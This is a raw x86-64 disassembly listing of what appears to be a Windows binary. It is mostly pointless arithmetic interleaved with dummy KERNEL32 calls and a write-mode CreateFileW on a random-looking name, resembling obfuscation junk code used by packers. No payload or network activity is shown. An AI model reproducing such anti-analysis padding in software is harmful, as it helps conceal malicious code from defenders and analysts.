mov eax, dword [rsp + 0xa9b4]
mov rcx, qword [rsp + 0x14c30]
mov qword [rsp + 0x14cd0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x14cd0]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x9260], eax
lea rax, [rsp + 0xa4bc]
mov qword [rsp + 0x14cd8], rax
mov rax, qword [rsp + 0x14640]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa03c]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xa8a4], eax
call qword [sym.imp.KERNEL32.dll_AreFileApisANSI]
mov dword [rsp + 0xab24], eax
mov eax, dword [rsp + 0xa3e4]
mov dword [rsp + 0xab28], eax
movzx eax, word [rsp + 0x2d34]
mov rcx, qword [rsp + 0x144b0]
movzx ecx, word [rcx]
xor eax, ecx
mov word [0x1402826d0], ax
lea rdx, [rsp + 0x23388]
mov rcx, qword [rsp + 0x14938]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xa440], eax
movzx eax, byte [0x14028ed78]
mov rcx, qword [rsp + 0x14c88]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x65d], al
mov rax, qword [rsp + 0x14ca0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa848]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xaac0], eax
mov eax, dword [rsp + 0x67e0]
mov dword [rsp + 0xab2c], eax
mov rax, qword [rsp + 0x145f0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x2e9]
sub eax, ecx
mov rcx, qword [rsp + 0x14298]
mov byte [rcx], al
lea rax, [rsp + 0x2b24]
mov qword [rsp + 0x14ce0], rax
movzx ecx, word [rsp + 0x2ddc]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2e98], ax
movzx eax, word [rsp + 0x2cb4]
movzx ecx, word [0x1402826bc]
and eax, ecx
mov word [rsp + 0x2c18], ax
lea rdx, [rsp + 0x23388]
mov rcx, qword [rsp + 0x14508]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xaad8], eax
movzx eax, byte [rsp + 0x670]
mov rcx, qword [rsp + 0x145a8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xbb], al
mov rax, qword [rsp + 0x147f8]
mov ecx, dword [rsp + 0xa450]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x69b0], eax
mov rax, qword [0x14028ee90]
mov rcx, qword [rsp + 0x141f8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [0x14028281c], eax
mov eax, dword [rsp + 0xa40c]
mov ecx, dword [rsp + 0xa3c0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x89e4], eax
mov eax, dword [rsp + 0xa938]
mov dword [rsp + 0xab30], eax
lea rcx, [rsp + 0x21a90]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rax, qword [rsp + 0x146c8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x793c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x7c54], eax
mov rax, qword [rsp + 0x146e8]
movzx eax, byte [rax]
mov byte [rsp + 0x70d], al
movzx eax, word [rsp + 0x2dd0]
movzx ecx, word [rsp + 0x2cc4]
add eax, ecx
mov rcx, qword [rsp + 0x13eb8]
mov word [rcx], ax
mov rax, qword [rsp + 0x14858]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa820]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa60c], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x200
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 2
mov edx, 0x40000000
lea rcx, str.KaMXPXuiTC0Y_tFaUzvKJDPGe6WgL2Fsg9
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x14ce8], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xa760], eax
mov rax, qword [rsp + 0x147f8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x7600]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x89f4], eax
mov eax, dword [rsp + 0xa778]
mov ecx, dword [0x14028270c]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x9ca4], eax
mov rax, qword [rsp + 0x14098]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xa5a8]
sar eax, cl
mov dword [0x140282794], eax
movzx eax, word [rsp + 0x2d50]
mov word [rsp + 0x2e9c], ax
movzx eax, byte [0x140281e3e]
movzx ecx, byte [rsp + 0x6d5]
or eax, ecx
mov rcx, qword [rsp + 0x142a0]
mov byte [rcx], al
movsx eax, word [rsp + 0x1f08]
mov rcx, qword [rsp + 0x14a98]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x2ce0], ax
movzx eax, byte [rsp + 0x6b0]
mov byte [rsp + 0x70e], al
movzx ecx, word [rsp + 0x2d4c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2ddc], ax
mov rax, qword [rsp + 0x148c0]
mov eax, dword [rax]
mov ecx, dword [0x140282750]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xa8b0], eax
mov rax, qword [rsp + 0x145b8]
mov ecx, dword [rsp + 0xa968]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x9838], eax
mov rax, qword [rsp + 0x149e0]
movzx eax, byte [rax]
movzx ecx, byte [0x140281e3b]
add eax, ecx
mov byte [rsp + 0x674], al
movzx eax, word [rsp + 0x2bf0]
movzx ecx, word [rsp + 0x2d2c]
and eax, ecx
mov word [rsp + 0x1b1c], ax
mov r9d, 1
xor r8d, r8d
mov edx, 0xa8ac
mov rcx, qword [rsp + 0x142d0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xab34], eax
mov eax, dword [0x140282750]
mov ecx, dword [rsp + 0x866c]
add ecx, eax
mov eax, ecx
mov dword [0x140282820], eax
mov eax, dword [rsp + 0xa83c]
mov dword [rsp + 0xab38], eax
mov eax, dword [rsp + 0xa478]
mov ecx, dword [rsp + 0xa41c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa5d0], eax
mov eax, dword [rsp + 0x8130]
mov dword [rsp + 0xab3c], eax
mov rax, qword [0x14028ed18]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x685]
add eax, ecx
mov byte [rsp + 0x6d3], al
mov rax, qword [rsp + 0x14130]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x15c8]
sub eax, ecx
mov word [rsp + 0x247c], ax
mov rax, qword [rsp + 0x141e8]
mov rcx, qword [rsp + 0x14110]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xaa98], eax
mov rax, qword [rsp + 0x14630]
mov ecx, dword [rsp + 0xa570]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0xa5d0], eax
mov rax, qword [rsp + 0x14ae0]
mov eax, dword [rax]
mov dword [rsp + 0xab40], eax
mov rax, qword [rsp + 0x14578]
mov eax, dword [rax]
mov dword [0x14028ec60], eax
mov rax, qword [rsp + 0x14260]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x14970]
mov qword [rsp + 0x14cf0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x14cf0]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x9774], eax
movzx eax, word [rsp + 0x2e1c]
mov word [rsp + 0x2ea0], ax
mov edx, 0x7e4195
mov rcx, qword [rsp + 0x14320]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0xaab4], eax
mov rax, qword [rsp + 0x14968]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x14678]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x6d2], al
movzx eax, byte [0x140281e06]
mov rcx, qword [rsp + 0x14900]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x398], al
lea rax, [rsp + 0x2d40]
mov qword [rsp + 0x14cf8], rax
mov eax, dword [0x1402826a8]
mov ecx, dword [rsp + 0xa488]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x9e40], eax
mov rax, qword [rsp + 0x14a10]
mov eax, dword [rax]
mov dword [rsp + 0xab44], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0x14b60], rax
movzx eax, word [rsp + 0x221c]
movzx ecx, word [rsp + 0x15c8]
add eax, ecx
mov rcx, qword [rsp + 0x14168]
mov word [rcx], ax
mov rax, qword [rsp + 0x14460]
movzx eax, byte [rax]
mov rcx, qword [0x14028ed18]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x14028eea0], al
mov rax, qword [rsp + 0x14a58]
mov rcx, qword [rsp + 0x14be8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x79a4], eax
mov rax, qword [rsp + 0x14a30]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x69e0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x8694], eax
mov rax, qword [rsp + 0x149a0]
mov ecx, dword [rsp + 0xa4d0]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xa87c], eax
mov rax, qword [rsp + 0x148c0]
mov eax, dword [rax]
mov dword [rsp + 0xab48], eax
mov rax, qword [rsp + 0x14148]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x141a0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x644], al
movzx eax, word [rsp + 0x2bc0]
mov rcx, qword [rsp + 0x141d8]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x14650]
mov word [rcx], ax
mov eax, dword [rsp + 0xa8f8]
mov dword [rsp + 0xab4c], eax
mov rax, qword [rsp + 0x146f8]
mov ecx, dword [0x14028ed00]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x6f08], eax
movsx eax, byte [rsp + 0x642]
movsx ecx, byte [rsp + 0x619]
sub eax, ecx
mov byte [0x140281e07], al
lea rax, [rsp + 0x212c]
mov qword [rsp + 0x14d00], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0x14cf8]
movzx eax, word [rax]
movzx ecx, word [0x1402827b0]
or eax, ecx
mov word [rsp + 0x2d1c], ax
lea rax, [rsp + 0x43d]
mov qword [rsp + 0x14d08], rax
mov rax, qword [rsp + 0x14218]
mov rcx, qword [rsp + 0x14228]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0xa71c], eax
mov rcx, qword [rsp + 0x14598]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0xa2a0], eax
mov eax, dword [0x14028eddc]
mov rcx, qword [rsp + 0x14248]
mov qword [rsp + 0x14d10], rcx
movzx ecx, al
mov rax, qword [rsp + 0x14d10]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x9834], eax
mov rax, qword [rsp + 0x14348]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x144c0]
mov qword [rsp + 0x14d18], rcx
movzx ecx, al
mov rax, qword [rsp + 0x14d18]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x92ec], eax
mov eax, dword [rsp + 0x6608]
mov ecx, dword [rsp + 0xa710]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xaa64], eax
mov rax, qword [rsp + 0x149a8]
mov eax, dword [rax]
mov dword [rsp + 0xab50], eax
mov rax, qword [rsp + 0x148a0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14918]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2d70], ax
movzx eax, byte [rsp + 0x692]
movzx ecx, byte [rsp + 0x66e]
sub eax, ecx
mov byte [0x140281e4f], al
mov rax, qword [rsp + 0x14a18]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x8bc0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x681c], eax
mov rax, qword [rsp + 0x142d8]
mov eax, dword [rax]
mov dword [rsp + 0xab54], eax
mov rax, qword [rsp + 0x148f8]
mov rcx, qword [0x14028ed40]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa4e0], eax
lea rax, [rsp + 0xa408]
mov qword [rsp + 0x14d20], rax
mov rax, qword [rsp + 0x14b40]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x6ab]
add eax, ecx
mov byte [rsp + 0x6ca], al
movzx eax, word [rsp + 0x2d80]
mov rcx, qword [rsp + 0x14310]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x2d38], ax
movsx eax, byte [rsp + 0x289]
movsx ecx, byte [rsp + 0x6c7]
add eax, ecx
mov byte [rsp + 0x4aa], al
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x138f
mov r9d, 0x27f
mov r8d, 0x3432a21f
mov edx, 1
mov rcx, qword [rsp + 0x14af0]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0xa8c8], eax
movsx eax, word [rsp + 0x24a0]
movsx ecx, word [rsp + 0x1d78]
sub eax, ecx
mov rcx, qword [rsp + 0x14138]
mov word [rcx], ax
mov rax, qword [0x14028ee28]
mov rcx, qword [rsp + 0x14020]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [0x140282824], eax
mov eax, dword [rsp + 0xa94c]
mov dword [rsp + 0xab58], eax
movzx eax, byte [rsp + 0x299]
mov rcx, qword [rsp + 0x14c10]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x686], al
movzx eax, word [rsp + 0x2ca4]
mov word [rsp + 0x2ea4], ax
mov eax, dword [rsp + 0xa9ac]
mov rcx, qword [rsp + 0x147a8]
mov qword [rsp + 0x14d28], rcx
movzx ecx, al
mov rax, qword [rsp + 0x14d28]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x144d8]
mov dword [rcx], eax
mov rax, qword [0x14028ee28]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa880]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xaad4], eax
mov eax, dword [rsp + 0xa8a4]
mov rcx, qword [rsp + 0x140f0]
mov qword [rsp + 0x14d30], rcx
movzx ecx, al
mov rax, qword [rsp + 0x14d30]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x737c], eax
mov rax, qword [rsp + 0x14b68]
mov ecx, dword [rsp + 0x9f14]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xa604], eax
mov rax, qword [rsp + 0x14250]
movzx eax, byte [rax]
mov byte [rsp + 0x70f], al
mov rax, qword [rsp + 0x148d0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x13eb8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x1402826d8], ax
mov rax, qword [rsp + 0x14228]
mov rcx, qword [rsp + 0x147d0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x7f44], eax
mov rax, qword [rsp + 0x14580]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa764]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xaa40], eax
mov rax, qword [rsp + 0x13f10]
mov eax, dword [rax]
mov dword [rsp + 0xab5c], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x14d38], rax
mov rax, qword [rsp + 0x147c0]
mov rcx, qword [rsp + 0x14748]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa3b4], eax
mov rax, qword [rsp + 0x146c8]
mov eax, dword [rax]
mov dword [rsp + 0xab60], eax
movsx eax, word [rsp + 0x2e78]
mov rcx, qword [rsp + 0x14138]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2e54], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalShrink]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
movsx eax, byte [rsp + 0x688]
mov rcx, qword [rsp + 0x13ea8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x654], al
lea rax, [rsp + 0x2dec]
mov qword [rsp + 0x14d40], rax
movzx eax, byte [rsp + 0x665]
mov byte [0x14028ec5c], al
mov rax, qword [rsp + 0x14510]
mov rcx, qword [rsp + 0x14ae0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xa8d8], eax
mov r9d, 1
lea r8, [rsp + 0x13f80]
mov rdx, qword [rsp + 0x14d48]
mov rcx, qword [rsp + 0x14568]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0xaa8c], eax
lea rax, [rsp + 0xa7d8]
mov qword [rsp + 0x14d50], rax
mov rax, qword [rsp + 0x14c88]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x16a]
add eax, ecx
mov byte [rsp + 0x6a1], al
movzx eax, word [rsp + 0x2c3c]
mov rcx, qword [rsp + 0x14770]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x2ca4], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0xa548], eax
mov eax, dword [rsp + 0x6950]
movzx ecx, al
mov eax, dword [0x14028272c]
sar eax, cl
mov dword [rsp + 0x8318], eax
mov eax, dword [rsp + 0xa078]
movzx ecx, al
mov eax, dword [rsp + 0x9dd8]
shl eax, cl
mov dword [rsp + 0x9a04], eax
lea rax, [rsp + 0xa854]
mov qword [rsp + 0x14d58], rax
mov eax, dword [rsp + 0xaa68]
mov ecx, dword [rsp + 0xa2a8]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xab14], eax
mov rax, qword [rsp + 0x14c10]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x65c]
add eax, ecx
mov byte [0x140281de6], al
mov rax, qword [rsp + 0x14100]
movzx eax, word [rax]
mov word [rsp + 0x2ea8], ax
mov eax, dword [rsp + 0xa634]
mov ecx, dword [rsp + 0xa450]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x6684], eax
mov rax, qword [rsp + 0x14a10]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa644]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x7ed0], eax
mov rax, qword [rsp + 0x140b0]
movzx eax, byte [rax]
mov byte [rsp + 0x710], al
movsx eax, word [rsp + 0x2c2c]
movsx ecx, word [rsp + 0x2d68]
sub eax, ecx
mov word [rsp + 0x2d88], ax
movzx eax, byte [rsp + 0x67b]
movzx ecx, byte [rsp + 0x302]
add eax, ecx
mov byte [rsp + 0x61a], al
mov rax, qword [rsp + 0x14d40]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2de0]
sub eax, ecx
mov word [rsp + 0x2ce8], ax
mov rax, qword [rsp + 0x148d8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x7fcc]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14b48]
mov dword [rcx], eax
call qword [sym.imp.KERNEL32.dll_AreFileApisANSI]
mov dword [rsp + 0xaa8c], eax
lea rdx, [rsp + 0x23430]
mov rcx, qword [rsp + 0x14370]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xa5e8], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessHandleCount]
mov rax, qword [rsp + 0x14490]
mov ecx, dword [0x1402826b4]
mov eax, dword [rax]
add eax, ecx
mov dword [0x1402827ec], eax
mov rax, qword [rsp + 0x13ea0]
mov eax, dword [rax]
mov dword [rsp + 0xab64], eax
mov rax, qword [rsp + 0x149d8]
mov rcx, qword [rsp + 0x14bd0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa424], eax
mov rax, qword [rsp + 0x142d8]
mov eax, dword [rax]
mov dword [rsp + 0xab68], eax
movzx eax, byte [rsp + 0x631]
movzx ecx, byte [rsp + 0x69d]
and eax, ecx
mov byte [rsp + 0x61a], al
movzx eax, word [rsp + 0x2bc8]
mov rcx, qword [rsp + 0x14708]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x24c8], ax
lea rax, [rsp + 0xa800]
mov qword [rsp + 0x14d60], rax
mov rax, qword [rsp + 0x14378]
mov ecx, dword [rsp + 0x6938]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xa688], eax
mov rax, qword [rsp + 0x14898]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xaaa8]
sar eax, cl
mov dword [rsp + 0x7a1c], eax
mov eax, dword [rsp + 0xaa24]
mov rcx, qword [0x14028ed40]
mov qword [rsp + 0x14d68], rcx
movzx ecx, al
mov rax, qword [rsp + 0x14d68]
mov eax, dword [rax]
shl eax, cl
mov dword [0x140282828], eax
mov rax, qword [rsp + 0x14100]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14978]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2cc4], ax
mov rax, qword [rsp + 0x14868]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x14d08]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x6f4], al
lea rax, [rsp + 0x6e2]
mov qword [rsp + 0x14d70], rax
mov rax, qword [rsp + 0x14190]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2c40]
and eax, ecx
mov word [rsp + 0x2c84], ax
lea rcx, [rsp + 0x21ae0]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
lea rax, [rsp + 0xa934]
mov qword [rsp + 0x14d78], rax
mov rax, qword [rsp + 0x14cc8]
mov ecx, dword [rsp + 0xa600]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x144d8]
mov dword [rcx], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessPriorityBoost]
mov rax, qword [rsp + 0x144b0]
movzx eax, word [rax]
mov word [rsp + 0x2eac], ax
mov rax, qword [rsp + 0x14c88]
movzx eax, byte [rax]
mov rcx, qword [0x14028ecb0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x2d5], al
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0x14d80], rax
mov eax, dword [rsp + 0x739c]
mov ecx, dword [rsp + 0x86e0]
sub ecx, eax
mov eax, ecx
mov dword [0x140282804], eax
mov eax, dword [rsp + 0x877c]
mov ecx, dword [rsp + 0xa764]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6f50], eax
mov eax, dword [0x1402826c4]
mov dword [rsp + 0xab6c], eax
mov eax, dword [rsp + 0xa584]
mov ecx, dword [rsp + 0xa9e4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa920], eax
mov rax, qword [rsp + 0x14150]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x14620]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x327], al
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xa548], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalShrink]
mov rax, qword [0x14028ee78]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2154]
add eax, ecx
mov word [rsp + 0x1590], ax
mov rax, qword [rsp + 0x146f8]
mov ecx, dword [rsp + 0x8694]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xaa78], eax
lea rax, [rsp + 0xa9cc]
mov qword [rsp + 0x14d88], rax
mov rax, qword [rsp + 0x147f8]
mov ecx, dword [rsp + 0xa858]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x6d88], eax
mov eax, dword [rsp + 0xaa30]
movzx ecx, al
mov eax, dword [rsp + 0x87b0]
sar eax, cl
mov dword [0x14028282c], eax
mov rax, qword [0x14028ed40]
mov eax, dword [rax]
mov dword [rsp + 0xab70], eax
mov rax, qword [rsp + 0x14d70]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x13ea8]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x6dd], al
mov rax, qword [rsp + 0x14a98]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x14ce0]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x20f4], ax
mov rax, qword [0x14028edf8]
movzx eax, word [rax]
mov word [rsp + 0x2eb0], ax
mov rcx, qword [rsp + 0x14848]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0xaa80], eax
mov rax, qword [rsp + 0x14480]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x144b8]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x14670]
mov byte [rcx], al
call qword [sym.imp.KERNEL32.dll_AreFileApisANSI]
mov dword [rsp + 0xab74], eax
mov rax, qword [rsp + 0x14ba8]
mov rcx, qword [rsp + 0x14930]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x9f0c], eax
mov rax, qword [0x14028ee50]
mov rcx, qword [rsp + 0x141e8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xab70], eax
mov rax, qword [rsp + 0x14888]
movzx eax, byte [rax]
mov byte [rsp + 0x711], al
mov rax, qword [rsp + 0x13eb8]
movzx eax, word [rax]
mov word [0x14028ec5a], ax
mov eax, dword [rsp + 0xa4ac]
mov ecx, dword [rsp + 0x6f54]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x9dd8], eax
mov eax, dword [rsp + 0xa74c]
mov ecx, dword [rsp + 0xa410]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x7c60], eax
lea rax, [rsp + 0x6b44]
mov qword [rsp + 0x14d90], rax
mov rax, qword [0x14028ee10]
mov ecx, dword [rsp + 0x9ad8]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa2e4], eax
movzx ecx, word [rsp + 0x2ddc]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2b70], ax
mov rax, qword [rsp + 0x14470]
movzx eax, byte [rax]
mov byte [rsp + 0x712], al
mov rax, qword [rsp + 0x14590]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2c5c]
add eax, ecx
mov word [rsp + 0x2e24], ax
mov rax, qword [rsp + 0x13f10]
mov ecx, dword [rsp + 0xa708]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xaa30], eax
mov rax, qword [rsp + 0x14aa0]
mov eax, dword [rax]
mov dword [rsp + 0xab78], eax
movsx eax, byte [rsp + 0x6cf]
movsx ecx, byte [rsp + 0x374]
add eax, ecx
mov byte [0x14028ed4e], al
mov rax, qword [0x14028ed38]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x145e8]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x14190]
mov word [rcx], ax
movzx eax, byte [rsp + 0x664]
movzx ecx, byte [rsp + 0x670]
or eax, ecx
mov byte [rsp + 0x626], al
mov rax, qword [rsp + 0x144b0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x13eb8]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x2c34], ax
mov eax, dword [rsp + 0xa858]
mov rcx, qword [rsp + 0x14930]
mov qword [rsp + 0x14d98], rcx
movzx ecx, al
mov rax, qword [rsp + 0x14d98]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x89fc], eax
lea rax, [rsp + 0x9ed8]
mov qword [rsp + 0x14da0], rax
mov rax, qword [rsp + 0x14288]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xaa2c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x64d8], eax
mov eax, dword [rsp + 0xa8e4]
mov dword [rsp + 0xab7c], eax
mov rax, qword [rsp + 0x14098]
mov ecx, dword [rsp + 0xa840]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x8ea0], eax
mov rax, qword [0x14028edf8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14310]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2de4], ax
mov rax, qword [rsp + 0x14878]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x6e5]
sub eax, ecx
mov byte [0x140281de7], al
mov eax, dword [rsp + 0x8c5c]
mov dword [rsp + 0xab80], eax
mov rax, qword [0x14028ec98]
mov rcx, qword [rsp + 0x14630]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xaa7c], eax
mov rax, qword [rsp + 0x14a30]
mov rcx, qword [rsp + 0x13f10]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x97e4], eax
mov rax, qword [rsp + 0x141c0]
mov ecx, dword [0x14028275c]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x14b50]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14878]
movzx eax, byte [rax]
mov byte [rsp + 0x713], al
movzx eax, word [rsp + 0x2e80]
movzx ecx, word [rsp + 0x2cf4]
sub eax, ecx
mov word [rsp + 0x1c24], ax
mov rax, qword [0x14028ed38]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2d98]
add eax, ecx
mov word [rsp + 0x2bac], ax
mov rax, qword [rsp + 0x14678]
movzx eax, byte [rax]
